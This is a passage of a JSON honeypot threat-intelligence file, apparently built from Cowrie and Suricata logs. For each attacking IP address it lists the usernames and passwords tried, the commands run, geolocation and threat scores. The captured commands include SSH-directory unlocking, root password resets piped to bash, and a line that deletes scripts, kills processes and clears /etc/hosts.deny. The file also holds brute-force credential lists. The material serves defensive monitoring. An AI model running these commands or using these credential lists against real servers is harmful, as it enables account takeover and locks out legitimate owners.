        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!QAZ2wsx123",
        "$#@!ergean*(",
        "12345678",
        "1q2w3e4r%T",
        "2020.com.cn",
        "Aa12345678",
        "Ab123456.",
        "Abc123@@@",
        "Izhenqi(!@#)2016",
        "changxin123456",
        "node123!",
        "password!@#",
        "qy_0901gd",
        "txkj@2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nC090wZOsODL4\\nC090wZOsODL4\\n\"|passwd",
        "echo \"123456\\n1jviPLkrqWGm\\n1jviPLkrqWGm\\n\"|passwd",
        "echo \"root:gGpa7w718zIw\"|chpasswd|bash",
        "echo -e \"12345678\\nC090wZOsODL4\\nC090wZOsODL4\"|passwd|bash",
        "echo -e \"123456\\n1jviPLkrqWGm\\n1jviPLkrqWGm\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 339,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T08:07:00.219000+00:00",
        "last_seen_30d": "2026-03-31T10:45:16.038000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 53
      }
    },
    "36.255.220.44": {
      "attack_count": 284,
      "first_seen": "2026-03-22T13:48:07.759Z",
      "last_seen": "2026-03-29T21:28:30.872Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cheeki",
        "irene",
        "dockeradmin",
        "dockeruser",
        "informix",
        "kadmin",
        "kamal",
        "kodiak",
        "kyt",
        "lokesh",
        "q",
        "sgeadmin",
        "spider",
        "tst",
        "yan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "!QAZ@wsx#EDC",
        "!qaz2wsx.",
        "1234",
        "123456",
        "1qaz!QAZ!QAZ",
        "4rfvBGT%",
        "Abc123@",
        "Pa55word2025",
        "Qwerasdf1234",
        "Sgeadmin123",
        "Superman123",
        "Surfer",
        "Tst123!",
        "abc12300",
        "athena2025",
        "calm$123",
        "cheekipass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:lxEEKtojzB9N\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 41.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.9,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 385,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T13:48:07.759000+00:00",
        "last_seen_30d": "2026-03-29T21:29:37.407000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 284,
        "Suricata": 101
      }
    },
    "36.50.55.106": {
      "attack_count": 282,
      "first_seen": "2026-03-19T10:12:26.260Z",
      "last_seen": "2026-03-19T10:46:27.517Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "adminuser",
        "elias",
        "jake",
        "root",
        "benjamin",
        "camille",
        "cesar",
        "cheng",
        "kiran",
        "rahul",
        "stefan",
        "system",
        "test1",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "!QAZxsw2",
        "1337",
        "Demo@123",
        "Rahul",
        "adminuser",
        "benjaminpassword",
        "camille",
        "password",
        "systempass",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nV3W9POu6kUym\\nV3W9POu6kUym\\n\"|passwd",
        "echo \"adminuser\\nKLtpcrXRK1Lp\\nKLtpcrXRK1Lp\\n\"|passwd",
        "echo \"password\\nFHZCEpFD5Ngm\\nFHZCEpFD5Ngm\\n\"|passwd",
        "echo -e \"1234\\nV3W9POu6kUym\\nV3W9POu6kUym\"|passwd|bash",
        "echo -e \"adminuser\\nKLtpcrXRK1Lp\\nKLtpcrXRK1Lp\"|passwd|bash",
        "echo -e \"password\\nFHZCEpFD5Ngm\\nFHZCEpFD5Ngm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T10:12:26.260000+00:00",
        "last_seen_30d": "2026-03-19T10:47:37.554000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 48
      }
    },
    "92.205.57.72": {
      "attack_count": 248,
      "first_seen": "2026-03-08T11:25:26.249Z",
      "last_seen": "2026-03-13T12:33:03.905Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "a",
        "claude",
        "mahesh",
        "aa",
        "bench",
        "ethan",
        "family",
        "harry",
        "mcserver",
        "mob",
        "nikita",
        "nominatim",
        "pm2user",
        "pzserver",
        "root1",
        "student5",
        "temp",
        "viewer"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123123",
        "Ll123456789",
        "Mob123!",
        "Temp123",
        "Viewer123!",
        "bench1234",
        "m",
        "nominatim1234",
        "pass123",
        "qwerty",
        "rootroot01",
        "student5"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123123\\nKbRcQwg3Sq9u\\nKbRcQwg3Sq9u\\n\"|passwd",
        "echo \"12345\\ngIKczfkksxXX\\ngIKczfkksxXX\\n\"|passwd",
        "echo -e \"123123\\nKbRcQwg3Sq9u\\nKbRcQwg3Sq9u\"|passwd|bash",
        "echo -e \"12345\\ngIKczfkksxXX\\ngIKczfkksxXX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Strasbourg",
      "asn": 21499,
      "as_org": "Host Europe GmbH",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 309,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T11:25:26.249000+00:00",
        "last_seen_30d": "2026-03-13T12:34:13.894000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 248,
        "Suricata": 61
      }
    },
    "210.79.191.170": {
      "attack_count": 236,
      "first_seen": "2026-03-28T12:50:28.269Z",
      "last_seen": "2026-03-28T14:38:38.729Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QW@1qw2",
        "123456Lk",
        "1qa2ws#ED",
        "5r4e3w2q1",
        "8ik9ol0p;",
        "Asd123asd",
        "P@44w0rd",
        "P@ssw0rd12#$",
        "Server2026",
        "asd123456",
        "football1",
        "hyundai",
        "lkilogmL",
        "ozzy",
        "passdata",
        "qwe!@#1234",
        "root123456.",
        "rush"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:YF7lcbk2UBxN\"|chpasswd|bash",
        "echo \"root:pZm09EhAY9dV\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T12:50:28.269000+00:00",
        "last_seen_30d": "2026-03-28T14:39:47.349000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 68
      }
    },
    "103.176.79.137": {
      "attack_count": 193,
      "first_seen": "2026-03-15T17:51:30.392Z",
      "last_seen": "2026-03-16T20:22:53.913Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "online",
        "yzh",
        "hr",
        "jan",
        "lekaren",
        "passbolt",
        "root",
        "student5",
        "sysadmin",
        "vpn",
        "xx"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456Abc",
        "hr123!",
        "lekarenpass",
        "vpnpass",
        "xx123",
        "yzh123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n3XTTiruIIJ6m\\n3XTTiruIIJ6m\\n\"|passwd",
        "echo \"yzh123456\\nnZVCmjxkHO9x\\nnZVCmjxkHO9x\\n\"|passwd",
        "echo -e \"123456\\n3XTTiruIIJ6m\\n3XTTiruIIJ6m\"|passwd|bash",
        "echo -e \"yzh123456\\nnZVCmjxkHO9x\\nnZVCmjxkHO9x\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T17:51:30.392000+00:00",
        "last_seen_30d": "2026-03-16T20:23:56.625000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 39
      }
    },
    "165.22.213.99": {
      "attack_count": 193,
      "first_seen": "2026-03-12T14:56:05.796Z",
      "last_seen": "2026-03-12T15:20:55.480Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "datacenter",
        "don",
        "astro",
        "claude",
        "dolphinscheduler",
        "emma",
        "hr",
        "manel",
        "patrick",
        "root",
        "talha"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Dolphinscheduler123",
        "Emma123",
        "admin123!",
        "astro",
        "datacenter",
        "hr",
        "patrickpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"datacenter\\nJ5eafYgylyC1\\nJ5eafYgylyC1\\n\"|passwd",
        "echo \"password\\n5MhN9URktJeK\\n5MhN9URktJeK\\n\"|passwd",
        "echo -e \"datacenter\\nJ5eafYgylyC1\\nJ5eafYgylyC1\"|passwd|bash",
        "echo -e \"password\\n5MhN9URktJeK\\n5MhN9URktJeK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T14:56:05.796000+00:00",
        "last_seen_30d": "2026-03-12T15:22:03.485000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "172.104.206.200": {
      "attack_count": 193,
      "first_seen": "2026-03-10T05:29:33.150Z",
      "last_seen": "2026-03-10T05:50:49.858Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "apexuser",
        "root",
        "terraria",
        "chrism",
        "clawd",
        "dheeraj",
        "ftp_test",
        "gg",
        "saad",
        "sky"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "Abcd1234.",
        "Root12345",
        "apexuser123!",
        "chrism",
        "dheeraj123!",
        "saad123!",
        "terraria123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"apexuser123!\\nN2emZUZ1m6yD\\nN2emZUZ1m6yD\\n\"|passwd",
        "echo \"terraria123!\\nNYVV1DGStKPT\\nNYVV1DGStKPT\\n\"|passwd",
        "echo -e \"apexuser123!\\nN2emZUZ1m6yD\\nN2emZUZ1m6yD\"|passwd|bash",
        "echo -e \"terraria123!\\nNYVV1DGStKPT\\nNYVV1DGStKPT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:29:33.150000+00:00",
        "last_seen_30d": "2026-03-10T05:51:55.571000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "157.230.129.46": {
      "attack_count": 188,
      "first_seen": "2026-03-20T20:26:01.093Z",
      "last_seen": "2026-03-20T20:46:01.683Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "aa",
        "g",
        "root",
        "downloader",
        "go",
        "ociispth",
        "rahul",
        "runner",
        "tv"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345678",
        "Ab123456",
        "Downloader123",
        "Go123!",
        "P@ssword!",
        "Tv123",
        "ociispth123",
        "runnerpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nyEptvAY5XKMS\\nyEptvAY5XKMS\\n\"|passwd",
        "echo \"1234\\nQO67JxJMIJJX\\nQO67JxJMIJJX\\n\"|passwd",
        "echo -e \"12345678\\nyEptvAY5XKMS\\nyEptvAY5XKMS\"|passwd|bash",
        "echo -e \"1234\\nQO67JxJMIJJX\\nQO67JxJMIJJX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T20:26:01.093000+00:00",
        "last_seen_30d": "2026-03-20T20:47:03.807000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "172.191.132.202": {
      "attack_count": 186,
      "first_seen": "2026-03-23T23:12:21.642Z",
      "last_seen": "2026-03-23T23:56:43.216Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "vyos",
        "chat",
        "edward",
        "lek",
        "nexus",
        "root2",
        "satisfactory",
        "spawner",
        "stan"
      ],
      "passwords_attempted": [
        "123",
        "345gs5662d34",
        "12345",
        "12345678",
        "3245gs5662d34",
        "nexus123!",
        "root",
        "satisfactory",
        "stan123!",
        "vyos123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ngRSg5dP6E8KT\\ngRSg5dP6E8KT\\n\"|passwd",
        "echo \"vyos123\\nzXGIFfXGJRod\\nzXGIFfXGJRod\\n\"|passwd",
        "echo -e \"12345678\\ngRSg5dP6E8KT\\ngRSg5dP6E8KT\"|passwd|bash",
        "echo -e \"vyos123\\nzXGIFfXGJRod\\nzXGIFfXGJRod\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T23:12:21.642000+00:00",
        "last_seen_30d": "2026-03-23T23:57:51.176000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 35
      }
    },
    "187.212.27.149": {
      "attack_count": 186,
      "first_seen": "2026-03-03T18:10:19.339Z",
      "last_seen": "2026-03-03T18:49:56.566Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11",
        "123456@Ab",
        "2024",
        "6yhn&UJM",
        "Qqq123456",
        "Zy123456",
        "a1987654",
        "a1w2er3s4",
        "a5065578",
        "kk"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:4fgTgQMdhSY4\"|chpasswd|bash",
        "echo \"root:NP0D5OWEzwKG\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:10:19.339000+00:00",
        "last_seen_30d": "2026-03-03T18:50:58.777000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 34
      }
    },
    "58.187.118.57": {
      "attack_count": 168,
      "first_seen": "2026-03-28T10:20:03.225Z",
      "last_seen": "2026-03-28T12:28:01.544Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
